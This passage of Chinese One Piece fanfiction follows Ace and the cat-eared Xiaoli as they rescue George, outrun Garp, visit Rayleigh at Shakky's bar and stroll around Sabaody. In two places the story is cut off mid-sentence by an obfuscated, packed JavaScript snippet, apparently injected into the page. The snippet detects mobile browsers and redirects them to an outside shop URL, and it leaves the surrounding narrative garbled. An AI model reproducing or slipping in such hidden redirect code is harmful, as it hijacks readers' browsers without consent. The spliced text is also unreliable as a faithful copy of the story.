小狸紧随在艾斯身侧,一边跑一边忍不住压低声音抱怨:“喂!不是说尽量不要引起大骚乱的吗?!你这跟举着喇叭宣布‘我们来抢人啦’有什么区别?!” “计划赶不上变化嘛!”艾斯在奔跑中还能大笑回答,轻松避开一个试图拦路的肥胖绅士,“跟那群穿黑衣服的家伙在这么多人的大厅里打起来,动静不是更大?看,现在我们只需要跑就行了!” “歪理!全是歪理!” 两人的对话淹没在身后迅速升腾的更大混乱中。丹顿的手下已经彻底撕下伪装,亮出武器,吼叫着追来。宴会的保安系统也被惊动,刺耳的警报声响起,更多的黑衣身影从各个出入口涌现。 而被艾斯扛在肩上、颠簸得快要吐出来的乔治,在最初的极度不适和眩晕中,透过颠倒摇晃的视野,看着那个猫耳少女敏捷地替他挡开一个飞来的酒瓶,看着扛着自己的男人在人群中横冲直撞,心中那片冰冷的绝望之地,似乎被这股蛮横、热血、又不讲道理的“救援”方式,硬生生闯开了一条生路。 尽管这条生路,看起来正通往更不可控制的混乱未来。 90.五百万贝利的逃亡课 宴会厅的侧门被艾斯一脚踹开,夜晚清凉的空气扑面而来。他们冲进了星光稀疏的花园,将身后一片狼藉、刺耳的警报和愤怒的追兵,暂时抛在了门内。 艾斯单手稳稳扛着还在发懵的乔治,另一只手随意地挥了挥,仿佛刚才只是顺手从宴会厅里“拿”了瓶酒,而不是一个大活人。小狸跟在他身边,边跑边手忙脚乱地整理着自己身上那件明显大了一号、临时改短了袖子和裤腿的黑西装,尾巴因为紧张和奔跑而绷得笔直。 “所以现在到底算怎么回事啊!”小狸压低声音,猫耳敏锐地转动,捕捉着身后可能的脚步声,“人是救出来了,之后怎么办?这里肯定不能留了,我们总不能带着他们三个跑到海上吧” “哈哈哈哈哈哈哈,走一步看一步吧,实在不行就带回莫比迪克去,反正大家都习惯了”艾斯笑得没心没肺,脚下速度却丝毫不减,灵巧地绕过花园里的观赏雕塑和灌木丛 “你是什么总往家里捡奇怪东西的小动物嘛!” 乔治被颠得胃里一阵翻腾,勉强从艾斯肩膀上抬起头,视线越过艾斯的后背,看向他们来的方向。宴会厅的骚动似乎被快速压制了下去,但几道迅捷的黑影已经冲出侧门,正朝他们这边追来——是丹顿的手下。 “他们追来了!”乔治声音发紧。 “放心,小场面。”艾斯脚步悠闲,游刃有余,甚至有空回头瞥了一眼,估算着距离,语气轻松得像在评价天气。 小狸也注意到了追兵,她皱了皱眉,不太喜欢这种尾巴被跟着的感觉。就在她思考回头甩个火球警告一下时…… 噗通、噗通、噗通…… 一连串沉闷的倒地声,突兀地在身后响起。 追兵们狂奔的身影,像是被无形的绊索同时撂倒,齐刷刷地扑倒在地,连声痛呼都没来得及发出,就没了动静。 “咦?”小狸的耳朵猛地竖了起来。不是艾斯出手的,也不是她,更不可能是肩上的乔治。 她下意识地扭过头,想看清楚怎么回事。 只一眼。 仅仅一眼。 全身的血液仿佛瞬间冲上头顶,又在下一秒冻结成冰。尾巴上的毛“唰”地一下,集体起立,炸成了蓬松的一大团! “艾艾艾艾艾艾斯——!!!” 她发出的声音完全变了调,尖锐,颤抖,充满了难以置信的惊恐,手指猛地抓住了艾斯的胳膊,用力到指节发白。 艾斯本来还在纳闷追兵怎么突然自己倒了,听到小狸这魂飞魄散的叫声,心里“咯噔”一下。这种反应……他太熟悉了。现在能让天不怕地不怕的小狸吓成这样的…… 他缓缓地、极其僵硬地扭过了脖子。 只见月光与宴会灯光的交界处,一个高大魁梧的身影,正一步步朝他们走来。那人穿着简单的便服,花白的头发根根直立,一张脸板得像花岗岩,但那双眼睛……哪怕隔着几百米距离,也紧紧的锁定了他们。每一步落下,地面都仿佛微微震颤,带着磅礴、狂放、不容置疑的强悍气势。 前.海军英雄,蒙奇·D·卡普。 艾斯脸上的笑容彻底僵住,嘴角抽了抽。他感觉自己的后背瞬间冒出了一层冷汗,扛着乔治的手臂肌肉下意识地绷紧。不是害怕,而是已经刻在本能里的、被铁拳支配的“条件反射”。 “不、会、吧……”艾斯从牙缝里挤出三个字。 仿佛是为了回应他的“期待”,卡普滚雷般的嗓音已经从身后传来,瞬间压过了花园里所有的虫鸣: “你们两个小混蛋——跑得够快的啊?!艾斯!小兔崽子!翅膀硬了是吧?!不是说老夫追不上你了吗?你试试看啊!!” 声音里没有多少真正的怒意,反而透着一种猎人终于“找到有趣的猎物”般的……兴奋?这个臭小子每次带着小狸跑路的时候都快把他家搬空了,今天非要好好的出口恶气 艾斯几乎是卡普话音落下的同一瞬间就做出了反应。 “哈哈哈哈哈哈哈!!!”他爆发出比刚才更响亮、更夸张的大笑,仿佛要用笑声驱散那股无形的压力和心虚,一直悠闲的速度陡然提升了一个档次,“才不会被抓住呢!爷爷你年纪大了就歇歇吧!!!” “慢点!胃!我的胃要吐出来了!!” 乔治被他突如其来的加速颠得眼前发黑,惨叫出声。 “闭嘴!吐了也得忍着!被后面那老头抓住就不是吐能解决的了!”艾斯头也不回地喊了一句,扛着人继续在花园的复杂地形里狂奔,试图利用障碍物干扰视线。 小狸已经回过神来,求生本能压倒了最初的惊吓。她把那件不合身的西装外套一扯,随手扔向旁边灌木丛,露出里面轻便的贴身衣物,她的速度竟然比艾斯还快些,紧紧跟在他身侧。 “都说不要引起骚乱?!”她一边跑一边不忘吐槽,“现在把爷爷都引出来了!” “我怎么知道老爷子会在这里啊?!”艾斯也委屈,“肯定是来蹭那个什么领主的酒喝的!我想着与其跟那个丹顿手下打架闹得一团糟不如直接跑!谁知道爷爷也在啊!” “现在怎么办?!” “还能怎么办,跑啊!被他逮到就完蛋喽!” 嘴上这么说,艾斯的语气确实无比的畅快,或许是认准了老爷子追不上他又或许是欣慰老爷子还是这么活力十足 两人一边以惊人的速度在领主庄园的花园、小径、甚至矮墙间上演生死时速,一边还能抽空吵嘴。被扛着的乔治已经完全放弃了思考,只觉得耳边风声呼啸,景物模糊倒退,颠簸中只模糊看到那个被称为“爷爷”的恐怖老者,正以一种与年龄和身形完全不符的敏捷速度,轻松地越过两人设下的所有障碍,越追越近,脸上还带着那种……让人毛骨悚然的“慈祥”笑容? “那、那个老爷子……到底是谁啊?”乔治在颠簸中艰难地发问,“你们的……仇人吗?你们……到底是谁?” “哈哈哈哈!”艾斯在这种时候居然还能笑出声,尽管笑声里已经带着点喘息,“不是仇人!是爷爷!” 乔治:“……” 你家的“爷爷”追杀孙子时是这种“逮住就往死里捶”的架势吗?! 小狸抽空补充了一句,试图安抚这个快被颠散架的人质:“别怕!真的是强尼和肯让我们来救你的!爷爷他不会真的杀……呃,应该不会死……大概?” 乔治的脸扭曲了一下,应该?大概? “到了!”艾斯一个急刹车,猛地拐进一条事先约定好的僻静小巷。巷口,强尼和肯正紧张地探着头,看到他们出现,眼睛瞬间亮了。 艾斯手臂一松,把晕头转向的乔治“卸货”般轻轻放在地上。强尼和肯立刻扑了上来,三兄弟紧紧抱成一团,劫后余生的庆幸和后怕让两个小的又开始掉金豆子,乔治则还有些恍惚,只是下意识地搂住弟弟们。 小狸和艾斯却没时间享受这温情时刻。卡普那沉重的脚步声和豪迈的“别跑!”已经越来越近。 小狸迅速蹲下身,双手用力握住强尼尚且单薄的肩膀,语速飞快,瞳孔里是前所未有的认真: “听着,强尼,肯,还有乔治!没时间详细解释了!本来我还担心你们兄弟以后怎么办,现在——” 她指了指巷口方向,那里,卡普高大的身影已经堵住了月光。 “机会来了!看到那个追我们的老爷子了吗?那是卡普,前.海军英雄!虽然看起来凶,但其实……很温柔!一会他过来,你们三兄弟,立刻、马上、想尽一切办法——赖住他!抱住他大腿!哭!喊爷爷!怎么可怜怎么来!他心很软的” 赖、赖住那个浑身杀气、一拳能打爆墙壁的老爷子?!乔治看着巷口那个如同人形凶兽的身影,腿肚子都在转筋。这跟自杀有什么区别?! “小狸!该走了!再不走真走不了了!”艾斯在巷子另一端焦急地招手,他已经能看到卡普那砂锅大的拳头带着武装色在月光下泛着寒光了。 “来了!”小狸应了一声,最后用力揉了揉两个男孩的头发, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005677|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又对还在呆滞的乔治快速说了句,“相信我们!也相信老爷子!” 说完,她转身就像一道轻盈的黑影,冲向艾斯。 两人汇合,没有丝毫犹豫,朝着与巷口相反、更复杂狭窄的巷道深处窜去。 “这是师傅教你们的第三课——”小狸的声音随着夜风远远飘来,清脆,明亮,带着一丝逃亡中的喘息,却奇异地充满了力量: “爷爷永远都是爷爷!感觉打不赢的时候——一定要赶紧跑啊!!你们好好跟着爷爷,等他消气了,我们会回去看你们的!!!” 她顿了顿,用更大的声音喊道,这次明显是对着那个即将踏入小巷的威严老者: “爷爷你要注意身体啊!!!这三个小家伙——就拜托你照顾啦!!!” 话音落下,她和艾斯的身影彻底消失在迷宫般的巷道阴影中。 “艾斯!小狸!你们两个小混蛋——!!!” 卡普的怒吼震得巷子墙壁上的灰尘簌簌落下。他一步踏进小巷,目光如电,正要朝着两人消失的方向继续追击—— 裤腿,突然一沉。 紧接着,又一沉。 卡普低头。 只见一个独眼的男孩死死抱住了他的右腿,小脸紧绷,眼里满是豁出去的倔强。另一个个雀斑男孩则整个扑在他的左腿上,眼泪鼻涕糊了一脸,放声大哭:“爷爷!不要打师傅和艾斯哥哥!他们是好人!救了我们大哥!大哥是英雄,爷爷你也是英雄对不对?大哥说过英雄不能欺负好人!” 乔治在短暂的大脑空白后,看着两个弟弟的行为,又想起那个猫耳少女最后那句“拜托了”,一咬牙,也扑了过来,虽然没有抱腿,却张开双臂拦在了卡普身前,声音发抖却坚定:“请、请放过他们吧!他们是为了救我才……!” 卡普:“……” 他抬起的脚,落不下去了。挥到一半的拳头,也僵在了空中。这三个小鬼挂在他身上,哭的哭,喊的喊,拦的拦,活像他成了欺负小孩的恶霸。 他能轻易震开他们,甚至不用发力,但他没动。那张总是豪迈或板着的脸上,露出了极其罕见的一丝……无奈。花白的眉毛纠结在一起,看着艾斯和小狸消失的方向,又低头看看腿上这两个“人形挂件”和面前这个明明怕得要死却硬挺着的少年。 “哼……” 卡普发出一声说不清是恼火还是好笑的鼻音。 最终,他那只足以轰碎山峰的拳头,缓缓放了下来。只是对着早已空无一人的巷道尽头,又气又笑地吼了一嗓子,声音依旧洪亮,却少了些杀气,多了点哭笑不得: “混账小子们……别以为这样就算完了!下次让老夫抓到……看老夫不把你们……” 后面的狠话,渐渐消散在夜风里。 他弯下腰,大手一左一右,像拎两只不听话的小猫一样,把强尼和肯从自己腿上“摘”下来,放在地上。然后看了看衣衫不整、惊魂未定的乔治,又看了看两个眼泪汪汪却依然用期待眼神望着他的小男孩。 卡普揉了揉自己刺猬般的短发,长长地、认命般地叹了口气。 “行了,别嚎了。”他的声音依旧粗声粗气,却莫名缓和了许多,“大晚上的……饿了吧?走,老夫带你们……去吃宵夜。真是的……本来好好的来吃酒,这下还要想办法道歉……一个两个就会添麻烦……” 他转过身,不再看向艾斯和小狸逃离的方向,迈开步子。月光将他的影子拉得很长,笼罩住三个亦步亦趋跟着他、仍有些忐忑不安的少年。 远处的城镇边缘,隐约传来火焰喷射的微弱声响和小船破浪而去的动静,很快也融入了海浪与夜色的合奏。 巷子里重归宁静。 一场价值五百万贝利、附带“追击战”体验的特别课程,以这样一种谁也未曾预料的方式,落下了帷幕。 爷孙向着不同的方向前进,他们都没有回头。因为他们都知道,无需为离别悲伤,在这片广阔的大海上,重逢本身,就是最浪漫的事。 91.重返香波地 “这样就是最后一份了”小狸把悬赏金的票据打包好,她没有红发海贼团具体的联络方式,但她知道有一个地方,信息一定能安全送达。那就是东海,风车村,玛琪诺的酒馆。 小狸长长地、长长地舒了一口气。终于把压在心头名为“债务”的巨石扔开,说不出的自由和畅快。 她转过身,目光寻找那个熟悉的身影。 艾斯正靠在窗口望着窗外小镇熙攘的街道,神态慵懒。 小狸蹦了几下来到他身边,整个身子软软地偎了进去,将后背紧紧贴住他的腰腹,脑袋顺势向后一仰,稳稳地坐在了他坚实的大腿上。 艾斯被她的动静拉回思绪,低下头,对上她仰起的笑脸。那双总是盛着各种情绪的蓝色眼睛,此刻清澈见底,只映着他一个人的影子,里面满满当当,全是卸下重担后的松弛与亲昵。 她就这样窝在他怀里,调整了一个最舒服的姿势,目光描摹着他的下颌线,鬓角的碎发,还有微微滚动的喉结。窗外的喧嚣渐渐褪去,只剩下彼此呼吸的频率和无需言说的宁静。 不知过了多久,小狸才轻轻开口,声音因为仰躺的姿势而显得有些闷: “终于凑够了钱,我们回新世界吧。都出来这么久了,不知道大家怎么样了。” 艾斯伸手,掌心自然地覆上她的手,把她的整只手包裹其中 “你不是三天两头就打电话虫回去么?”他的声音带着笑意,低沉而温和,“我耳朵都要被萨奇那个大嗓门震聋了。上次他非要隔着电话虫教我做新开发的‘熔岩蛋糕’给你吃,吵得我头疼。” “那不一样嘛~”小狸在他下巴蹭了蹭,像只撒娇的猫,“电话里只能听到声音。我想看看老爹的精神有没有好一些,想看看马尔科先生是不是又因为熬夜弄得很重的黑眼圈,想吃萨奇的料理,摸摸柯达兹……还有,”她的声音低下去,带上一点小小的埋怨和担忧,“老爹总是不听话,马尔科先生说他最近阴雨天旧伤还是会疼,可让他好好吃药休息比登天还难……我不在又没人管着他喝酒了……” 艾斯听着她细碎的念叨,那些关于家人的、平凡的牵挂,让他胸腔里涌起一股温热的暖流。 “哈哈!”他笑出声,胸膛的震动透过紧密相贴的身体传来,让小狸也跟着微微晃了下,“既然小猫都这么说了——”他拖长了音调,低下头,鼻尖碰碰她的鼻尖,眼里沉淀着无尽的温柔与笃定。 “——那就出发吧!我们,一起回家。” --- “莫西莫西,这里是莫比迪克号yoi” 电话虫模仿着马尔科那标志性的、带着点慵懒拖沓的嗓音。 “马尔科先生!是我,小狸!” 小狸立刻对着话筒喊,眼睛亮晶晶的。 电话那头静默了一瞬,随即爆发出远比马尔科原声嘈杂得多的喧闹! “哦哦哦!!是小狸!” “小狸丫头!声音挺精神嘛!” 背景音里充斥着萨奇的大嗓门、以藏温和带笑的询问、乔兹沉稳的招呼、还有其他船员七嘴八舌的嚷嚷和笑声。即使隔着遥远的距离,那独属于白胡子海贼团的喧闹的家庭气息,也瞬间扑面而来。 然后,一个低沉、豪迈、充满力量的笑声压过了所有嘈杂,透过话筒清晰地传来: “咕啦啦啦啦……是小狸啊,身体还好吗。” 仅仅是这一声笑,小狸就觉得鼻子一酸,眼前有点模糊。她用力眨眨眼,深吸一口气,用最欢快、最元气的声音对着话筒喊道: “当然了!身体超好的!老爹!大家!我终于把钱还完啦!我和艾斯准备回新世界啦!” “哦——?!干得漂亮啊小狸!” 萨奇的声音挤到最前面,背景里还有锅碗瓢盆的叮当响,估计他刚刚正在厨房忙活,“等你回来,萨奇大哥给你做海兽全宴!保准把你这段时间在外头缺的油水都补回来!不过……”他话锋一转,好奇心简直要冲破电话虫,“你到底欠了红发那个装模作样的家伙多少钱啊?神神秘秘的。” 小狸挠了挠脸颊,不好意思地对着话筒小小声说: “……一亿贝利。” “…………………………” 电话那头出现了长达三秒的、诡异的真空般的寂静。 紧接着—— “一亿——?!!” 萨奇的惊叫声几乎要震破话筒,“你是把他驻扎的岛都买下来了吗?!” “红发那家伙!肯定是看我们小狸单纯好骗!太坏了!” 这是某个分队长的大笑。 “小狸别怕!等你们回来,咱们全团去找他‘理论理论’!帮你把场子找回来!” 这是唯恐天下不乱的起哄。 “没错没错!早就看红发海贼团那副悠闲样子不顺眼了!打一架打一架!” “咕啦啦啦……一亿吗?看来真的要好好和红发那小子叙叙旧了。” 连白胡子的声音里都带上了几分好笑的揶揄。 “都给我安静点,yoi!” 马尔科忍无可忍的镇压声传来,伴随着几声估计是拳头敲在笨蛋脑袋上的闷响,“小狸,别听他们胡说。平安回来就好。” 小狸抱着电话虫,听着那头熟悉的无厘头争吵和打闹,听着老爹浑厚的笑声和马尔科无奈的呵斥,忍不住也跟着咯咯笑起来,最后变成了毫无形象的大笑。积攒的疲惫和压力,仿佛都在这一刻都冲刷得一干二净。 挂断电话,房间里似乎还残留着远方大海上的喧闹余温。小狸靠在艾斯肩头,尾巴慢悠悠地晃着。 “说起来,既然要回新世界,我们是不是应该去拜访一下雷利先生?”艾斯把玩着小狸的手指。既然路过,于情于理,都应该去当面感谢一下当时的救命之恩。他一向是懂礼貌又有风度的,虽然这种风度常常被他那过于耀眼的不羁的性格所掩盖,但在重要的事情上,他从不含糊。 “嗯。既然路过,得当面好好道谢才行。”小狸认真地说,“不过,不知道应该去哪里找他,总不能去拍卖场吧……” “到了再说嘛,上次小狸都没有吃到伟大仙贝吧,很好吃的…” 于是,火焰小艇再次破开蔚蓝的海浪,这一次,目标明确,归心似箭,船速快得在身后拖出一道长长的、欢快的白色航迹。 --- 重回这片奇幻的群岛,小狸有种熟悉又陌生的感觉。她曾在这里经历了惊心动魄的拍卖会,还阴差阳错地见到了“天夜叉”多弗朗明哥和传说中的“冥王”西尔巴兹·雷利。 两人很容易就打听到了雷利的下落,那个满头白发的镀膜工总出没在一间酒吧——“夏琪的敲竹杠BAR”。 推开有些年头的木门,风铃发出清脆的叮咚声。一个瘦高的女人站在吧台后。她留着利落的黑色短发,发尾俏皮地上翘,指间夹着一支细长的香烟,穿着一件印有抽象图案的上衣。 听到门响,她抬起头,露出一张保养得宜、看不出具体年龄的脸,眼神锐利而通透,带着一种阅尽千帆后的淡然与洞察。 “欢迎光临。”夏琪的声音和她的人一样,带着点漫不经心的磁性,目光在艾斯和小狸身上转了一圈,尤其在艾斯脸上停留了一瞬,眼底划过一丝怀念。 “请问,西尔巴兹·雷利先生在吗?”艾斯上前一步,礼貌地询问。 “雷利啊……”夏琪吸了一口烟,缓缓吐出灰白的烟圈,动作优雅得像在表演,“半年前就回来了。不过那老家伙,估计又不知道在哪家赌场把钱输得精光,正躲债呢吧。”她语气随意“我也懒得管他。不过算算时间,也该灰溜溜回来了。”她话锋一转,夹着烟的手指点了点艾斯,眼中漾开一点意味深长的笑意,“对了,小艾斯,如果我没认错的话……草帽路飞,是你弟弟吧?雷利跟我提过几句。他们那一伙人,好像也差不多是这几天,要回这里集合哦?” “哦?!真的吗?!” 艾斯原本还算平静的神情瞬间被点亮,笑容一下子灿烂得晃眼,“路飞?!那小子……不知道这两年过得怎么样!是不是又长高了?还是那么能惹麻烦吗?哈哈哈!”他爽朗地大笑起来,顺势在吧台前的高脚凳上坐下,毫不客气地向夏琪要了一大杯麦芽酒,仰头痛快地灌了一大口,喉结滚动。 小狸没有跟进来,她正蹲在酒吧门口的小空地上,仰着小脸,无比专注地看着地面。那里,一个接一个晶莹剔透的泡泡正从地面缓缓生成、脱离,慢悠悠地飘向空中。她伸出手指,用指尖最柔软的地方,去触碰一个刚刚飘起的泡泡。泡泡被她轻轻一戳,表面漾开一圈涟漪,却没有破,反而颤巍巍地粘在了她的指尖一会儿,才飘飘忽忽地继续上升。她的目光追随着那个泡泡,里面盛满了纯粹的好奇与孩童般的欢喜。 上次来这里时跟着艾斯神色匆匆的调查,紧接着就是被绑架、拍卖场的混乱与逃亡,她根本没有时间去好好看一看这座岛 夏琪顺着艾斯的目光看过去,看到了夕阳余晖中那抹娇小的、追逐着空中泡泡嬉戏的侧影。她吸了口烟,缓缓吐出,烟雾模糊了她脸上的表情,只余眼中清晰的笑意与一丝淡淡的怀念。 “真是个漂亮又灵气的小姑娘呀。”她轻声感叹,语气是长辈式的欣赏。 艾斯收回目光,转向夏琪,脸上的笑容没有半分收敛,反而更加明亮,那是一种混合着骄傲、宠溺与无比确凿的宣告。他没有任何犹豫,清晰而自然地接住话头: “嗯。是我的爱人。” 夏琪明显愣了一下,随即“噗嗤”一声笑出来,摇了摇头,眼神里的笑意更深,还带了点“年轻真好啊”的感慨,以及某种透过时光看到相似影子的微妙恍然。“是吗……那你可要好好珍惜啊。” 她的话音刚落,门外就传来了标志性的、中气十足又带着豁达笑意的熟悉嗓音,人未至,声先到: “哈哈哈!夏琪!我回来啦!今天手气可真是不怎么样……嗯?” 只见银色卷发、戴着眼镜的雷利大步流星地从远处走来,身上还带着风尘仆仆的气息。他一眼就看到了门口那个蹲在地上、背对着他、正试图用两只手去拢一个大泡泡的娇小身影。 几乎是想也没想,雷利眼睛一亮,手臂一揽,就像顺手从货架上拿起一袋面粉那样自然的用右臂把小狸整个人夹在了腋下!同时,左手毫不客气地罩上她脑袋,胡乱搓揉着她精心梳理过的黑发! “哈哈哈!小猫仔!真是好久不见了啊!”雷利的声音洪亮又愉快,震得小狸耳朵嗡嗡响,“我可是在报纸上都看到了!干得不错嘛!纽盖特那个老家伙,看来还硬朗得很!你也是好样的!没给他丢脸!” 小狸完全懵了。上一秒她还沉浸在泡泡里,下一秒就天旋地转,双脚离地,视野里只剩下笼罩着泡泡的地面和一股混合着酒气、烟草与海风的复杂味道。她本能地四肢乱蹬,奋力挣扎:“放、放开我!雷利先生!头发!我的头发要乱了!艾斯——!!” 奈何实力差距犹如天堑,她那点力气在雷利面前跟小猫挠痒痒没区别。羞恼和气急之下,小狸灵机一动身体猛地一缩—— 雷利只觉得腋下一空,原本夹着的小狸突然消失了!紧接着,手背上传来一阵尖锐的刺痛! “嘶!”他低头一看,一只通体漆黑、毛发油光水滑的小猫,正恶狠狠地咬着他的手背,蓝宝石般的圆眼睛里写满了抗议。小黑猫见他看过来,立刻松口,气愤的呜咽一声一跃而下,四只小爪子在地面上快速交替,“嗖”地一下蹿进了酒吧,精准无误地跳进了早已张开手臂、等候多时的艾斯怀里,然后一头钻进他敞开的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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艾斯这才直起身,重新坐下,脸上恢复了笑容。怀里的小黑猫似乎听出雷利话里的夸奖,气消了一些,但依旧不肯出来。它开始不安分地在艾斯怀里拱来拱去,最后顺着他的胸膛一路向上攀爬,爪子勾住他的衬衫布料,灵活地越过肩膀,最终蹲坐在艾斯头顶的帽子上。她转了个圈,找了个舒服的位置趴下,下巴搁在帽檐上,一双蓝眼睛从高处俯视着坐在凳子上的雷利,她还在因为雷利故意逗弄自己生气但是又觉得现在应该好好道谢,小猫的脑子转不过来了,最后变成了高傲的仰着头居高临下却瓮声瓮气的跟着说了一声“谢谢……”,这副矛盾的模样,又把雷利逗得拍腿大笑。 “说起来,艾斯,”雷利笑够了,喝了口茶,说起正事,“路飞他们,估计就这几天到香波地。你们如果要回新世界,不如等等,跟他们一起走?而且——”他眼镜片后的眼睛闪过一丝锐利的光,“路飞那小子,这两年在老夫的操练下可是进步神速哦。你不想亲眼看看?” “哈哈哈!您都这么说了!”艾斯眼中瞬间燃起明亮的光芒,光是想象路飞现在可能的样子,他脸上的笑容就止不住地扩大,带着点傻气的骄傲,“那我这个做哥哥的,可得好好‘检验’一下他的修行成果才行!就这么说定了,我们在这里等他!” 他抬手,轻轻拍了拍头顶的小黑猫。“他们还没到,趁现在,我们带你去岛上好好转转吧,小狸?上次都没机会。” “好哎!”小黑猫立刻响应,从帽子上一跃而下,在空中流畅地舒展身体,落地时已然变回了黑发蓝眸的少女。她拍了拍身上并不存在的灰尘,手很自然地伸过去,牵住了艾斯的手。然后,她像是想起了什么,另一只手摸了摸自己空荡荡的头顶,又看了看艾斯,“不过这次可以不带帽子了吧?小狸我呀,现在可是很强的!”她挺起胸膛,露出自认为价值一亿贝利的大海贼应该有的自信笑容。 艾斯看着她闪闪发亮的眼睛,那里有成长带来的锋芒,也有依旧不变的纯真。他反手握住她的手,轻轻捏了捏,纵容而宠溺: “嗯,随你喜欢。” 两人向雷利和夏琪道了别,手牵着手,说笑着推门离开了酒吧。夕阳的余晖将他们的影子在身后拉得很长,交织在一起,慢慢融入香波地群岛梦幻的暮色与初上的华灯之中。 看着那两个身影消失在街道拐角,雷利端着已经微凉的茶杯,久久没有收回目光。酒吧里恢复了安静,只有夏琪擦拭杯子的轻微声响。 “这个小姑娘,”雷利忽然开口,声音不高,带着一种感慨,“和我上次在拍卖场仓库里见到时,简直判若两人。”那时的她,眼中有着被禁锢的惊惶,也有绝境中不曾熄灭的倔强,但更多的是对自身命运的迷茫与不安。而现在…… “她说自己很强,还真不是小孩子逞强。”雷利啜了一口茶,镜片后的眼睛微微眯起,“气息沉稳内敛,霸气收放自如……虽然还很年轻,赏金也有一亿贝利了吧?白胡子养的小猫面对那些超新星也未尝不能一战,年轻一辈,还真是充满惊喜啊……”他顿了顿,脸上露出一种混合着期待与怀念的复杂笑容,“当然,老夫亲手打磨了两年的草帽小子,也绝不会让人失望。至于艾斯……”他没有再说下去,只是将杯中剩余的茶一饮而尽,任由那微涩的回甘在舌尖蔓延,也任由心中那句无声的低语,沉入记忆的深海: 罗杰啊,老友,你看到了么?艾斯他…… 就在这时,酒吧那扇老旧的木门,再次被推开了。 一个绿色短发、左眼带着一道伤疤、腰佩三把长刀的男人走了进来。他脸上带着一丝抵达目的地的放松。目光扫过这间安静得有些奇怪的酒吧,在雷利和夏琪身上略微停留,似乎在确认什么。 “看来……”索隆低声自语,话语是惯常的简洁语气冷硬却有一丝几乎无法察觉的欣喜,“我是第一个到的?” 92.约会 香波地群岛的下午总是浸泡在一种梦幻般的色彩里。巨大的红树树冠滤过阳光留下斑驳的树影,无数晶莹的泡泡自地面升起,慢悠悠地飘向蔚蓝的天空 海军总部迁移后,这座位于伟大航路中段的奇妙岛屿秩序的天平便发生了难以逆转的微妙倾斜。曾经被海军强势压制、龟缩于特定编号区域的不法地带,向雨后春笋般蔓延滋长。人口贩卖的暗流在看似普通的酒馆下层涌动,地下赌场的吆喝与筹码碰撞声彻夜不息,黑市交易的触角伸向岛屿的各个角落。只是走在某些区域的街道上都能清晰感知到那些从暗巷、窗后、人群中投来的视线,混杂着评估价值的冰冷、看到肥羊的贪婪、以及随时可能暴起的警惕。随处可见神情彪悍身带武器的人,他们目光扫视,划分着无形的领地。店铺的招牌往往用语暧昧,带着心照不宣的暗示,交易在明码标价与低声耳语之间快速达成,现金与货物在阴影中迅速易手。 然而,这份无处不在的、粘稠的混乱与危险,今日却奇异地未能侵扰到并肩漫步于24号GR主干道上的两人 小狸像一只对一切都充满新奇感的小动物,紧紧挨着艾斯,蓝色的瞳孔亮晶晶地四处张望。她对这座岛屿的好奇心几乎要满溢出来:路上呼啸而过的、被巨大泡泡包裹着漂浮前进的“泡泡出租车”;利用特性建造的、造型奇异的店铺;橱窗里陈列的闪烁珠宝或精密机械的工艺品;还有空气中永远弥漫的、那种清甜的、属于生命与梦幻的味道……一切都让她惊叹不已。她一会儿指着路边橱窗里一个悬浮在泡泡中的八音盒,发出小小的“哇”声;一会儿又被街角那个用泡泡表演悬浮魔术的艺人所吸引,拽着艾斯的袖子驻足观看,尾巴随着艺人的手势好奇地摆动。 艾斯则一如既往穿着他标志性的装束,赤裸着精悍的上身,露出清晰的腹肌和后背上张扬的刺青,下身是简单的黑色短裤,那顶橙色的牛仔帽依旧带着点随性的不羁,斜斜扣在微卷的黑发上。 他步伐悠闲,手臂自然地垂在身侧,偶尔被小狸兴奋地拉起,指向她新发现的新鲜物。小狸穿着连衣裙,如她所愿没有戴帽子,那双黑色的猫耳在下午温煦的光线中自由地转动着,耳廓内侧细腻的绒毛清晰可见,敏锐地捕捉着四周所有的声响:商贩的叫卖、路人的低语、远处隐约的纠纷、以及泡泡破裂时那细微的“啵”声。她的尾巴在身后放松地晃悠,划出轻松的弧线 他们走得如此自在,仿佛漫步在莫比迪克号那熟悉而安全的甲板上,或是风车村那宁静的乡间小径。然而,周遭环境的反应却与这份闲适格格不入。 一个原本正堵在路中间、对着小摊贩大声咆哮、满脸横肉的壮汉,眼角余光瞥见那个橙色帽檐和帽檐下熟悉的雀斑脸,咆哮声如同被掐住脖子的公鸡般戛然而止,脸上嚣张的气焰瞬间凝固,然后化为一种近乎滑稽的惶恐,他下意识地缩起脖子,庞大的身躯努力向旁边挤去,试图让自己看起来不那么显眼。 几个蹲在巷口,眼神阴鸷、正在低声商量着什么、腰间鼓鼓囊囊的走私贩子,在艾斯和小狸经过时,交谈声瞬间消失。他们迅速交换了一个眼神,里面没有贪婪或算计,只有清晰的忌惮与“别惹麻烦”的共识。几人默默地、整齐地向巷子深处又退了几步,将自己更深地藏进阴影,直到那两人走远,才有人敢低声吐出一口憋了许久的气。 甚至那些原本在街上横冲直撞、眼神凶恶的混混,也会在看清来人后,硬生生扭转方向,宁可撞到旁边的货架,也不敢踏入那两人前方五米的范围。 “火拳”艾斯死而复生、并且实力更胜从前的消息,早已如同飓风般传遍了整片大海。顶上战争的细节或许在酒馆中被添油加醋成各种传奇版本,但有一个事实无可辩驳:他不仅从海军最高规格的公开处刑中活了下来,还成功地从海军总部马林梵多重兵围困之下,与白胡子海贼团主力一同撤离。那悬赏金悍然跃升至十亿贝利的崭新通缉令,就是世界政府对他威胁程度最直接的证明 